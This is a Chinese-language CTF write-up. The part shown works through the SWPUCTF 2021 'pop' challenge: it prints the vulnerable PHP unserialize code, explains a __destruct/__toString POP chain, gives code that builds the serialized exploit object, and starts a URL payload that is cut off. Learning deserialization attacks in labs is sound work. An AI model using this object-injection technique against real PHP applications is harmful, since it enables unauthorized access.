目录
[SWPUCTF 2021 新生赛]pop
[NISACTF 2022]babyupload
编辑[GKCTF 2020]cve版签到
[SWP5UCTF 2022 新生赛]奇妙的MD5
[HNCTF 2022 Week1]easy_html
今日总结:
[SWPUCTF 2021 新生赛]pop
1.代码审计
<?php
error_reporting(0);
show_source("index.php");
class w44m{
private $admin = 'aaa';
protected $passwd = '123456';
public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
}
//这是一个名为 w44m 的类。它有两个属性:$admin 和 $passwd,分别被初始化为 'aaa' 和 '123456'。它还有一个公共方法 Getflag,该方法检查 $admin 和 $passwd 是否与特定的值匹配。如果匹配,则包含并输出 flag.php 文件中的 $flag 变量的值。如果不匹配,则输出 $admin、$passwd 和 'nono'。
class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}
//这是一个名为 w22m 的类,它有一个公共属性 $w00m。当该类的实例被销毁时(例如,在脚本结束时或当不再有对该实例的引用时),__destruct 魔术方法会被调用,并输出 $w00m 的值。
class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}
//这是一个名为 w33m 的类,它有两个公共属性:$w00m 和 $w22m。当该类的实例被当作字符串使用时(例如,在字符串连接中),__toString 魔术方法会被调用。该方法尝试调用 $w00m 对象上的 $w22m 方法。如果 $w00m 是一个对象,并且该对象有一个名为 $w22m 的方法,那么这个方法就会被执行
$w00m = $_GET['w00m'];
unserialize($w00m);//这部分代码首先从 GET 请求中获取 w00m 参数的值,并尝试对其进行反序列化。反序列化是将已存储的表示形式或字节流转换回 PHP 值的过程。
?>
2.分析php代码
题目要求GET传入w00m,并进行反序列化操作
- w44m类:
如果变量前是protected,则会在变量名前加上
\x00*\x00
,若是private,则会在变量名前加上
\x00类名\x00
,输出时一般需要url编码
- w22m类:
当类销毁时会输出
$this->w00m
- w33m类:
当w33m类的对象被当做字符串使用时,触发__toString()方法
3.该题目中涉及到的魔术方法有两个toString和destruct,构造pop链的关键是紧盯魔术方法,找到pop链的头部和尾部,可以看到GET方式传参w00m,也就是pop链的头部,然后就是尾部,尾部就是能够达到恶意攻击的地方,在上述的题目中,清晰可见:w44m类中存在着一个方法GETflag方法,便可输出最终的flag,因此这也是我们的pop链的尾部。
如何调用w44m类中Getflag方法?
在w33m类中tostring方法,可以调用某一个类中的某一个方法。
因此可以给w33m类中的两个变量w00m=w44m类名,w22m=Getflag方法
如何调用w33m类呢?
destruct在对象被销毁时调用,所以给w22m类中的变量w00m一个类w33m就可以调用
综上,POP链:
w22m::__destruct()->w33m::__toString()->w44m::Getflag()
4.在线php构造序列化字符串如下:
<?php
class w44m{
private $admin = 'w44m';
protected $passwd = '08067';}
class w22m{
public $w00m;}
class w33m{
public $w00m;
public $w22m;}
$a=new w22m;
$a->w00m= new w33m;
$a->w00m->w00m= new w44m;
$a->w00m->w22m= "Getflag";
var_dump(serialize($a));
?>
资料:PHP类中public、protected、private的区别 PHP类中public、protected、private实例代码_李涛自留地-李涛生活目录和编程学习网络笔记本
5.其中未显示的是空格,即\x00,因为有私有属性,所以进行url编码
6.构造之后,得到flag
payload:?w00m=O:4:"w22m":1:{s:4:"w00m";O:4:"w33m":2:{s:4:"w00m";O:4:"w44m":2:{s:11:"